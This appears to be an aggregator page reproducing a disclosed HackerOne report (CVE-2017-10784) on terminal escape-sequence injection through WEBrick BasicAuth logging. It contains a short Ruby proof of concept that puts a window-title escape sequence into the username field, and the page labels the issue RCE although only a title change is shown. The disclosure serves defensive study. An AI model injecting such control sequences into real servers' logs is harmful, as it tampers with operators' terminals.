Skip to content
RCE Disclosed report Beginner CVE-2017-10784

Escape sequence injection vulnerability in WEBrick BasicAuth

WEBrick's BasicAuth logs non-existent usernames without sanitising escape sequences, allowing an attacker to inject terminal control codes. An attacker could change the window title of the terminal running the server, and potentially other terminal effects.

mame Follow

Originally disclosed on HackerOne

Medium 6.3 View original
  • Disclosed after 5 months

WEBrick BasicAuth outputs any non-existing user name to logs without sanitizing. By exploting this, an attacker can inject malicious escape sequences to its logs. This issue is exactly the same as the old already-fixed vulnerability.

How to reproduce:

  1. Run this WEBrick server program in a terminal.
require "webrick"
require "webrick/httpauth"

srv = WEBrick::HTTPServer.new({ Port: 34567 })
db = WEBrick::HTTPAuth::Htpasswd.new("dot.htpasswd")
authenticator = WEBrick::HTTPAuth::BasicAuth.new(UserDB: db, Realm: "realm")
srv.mount_proc("/") do |req, res|
  authenticator.authenticate(req, res)
  res.body = "foobar"
end
srv.start
  1. Run this attack access program in another terminal.
require "open-uri"

open("http://localhost:34567/login",
  http_basic_authentication: [
      "ESCAPE SEQUENCE HERE->\e]2;BOOM!\a<-SEE WINDOW TITLE",
      "passwd"
]).read
  1. See the first terminal that runs the server. You will see a line like this, and its window title changed "BOOM!".
[2017-04-24 19:23:46] ERROR Basic realm: ESCAPE SEQUENCE HERE-><-SEE WINDOW TITLE: the user is not allowed.

Note: I'm a member of the ruby-core team, but I'm not involved with development of WEBrick. I did not create the bug, of course. I will happily accept any bounty if any :-)

The original report as published on HackerOne, by mame. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The logging code writes the attacker-supplied username directly to the terminal without escaping control characters.

Impact

An attacker could inject terminal escape sequences into the server operator's terminal, changing the window title and potentially causing other terminal-dependent effects.

What the attacker needed

Server logs to a terminal; attacker can send a login request

How it was found

  1. Run the provided WEBrick server with BasicAuth on a local port.
  2. From another terminal, send a request with a username containing an escape sequence.
  3. Observe the server terminal: the log line contains the raw sequence and the window title changes.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a login fails, the server writes the attempted username into its log. If that username contains special control characters, the terminal program that displays the log may interpret them as commands. Here an attacker made the terminal change its window title, but other control sequences could do more.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by mame

View all

3 more disclosed reports, best first.

More from Ruby

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.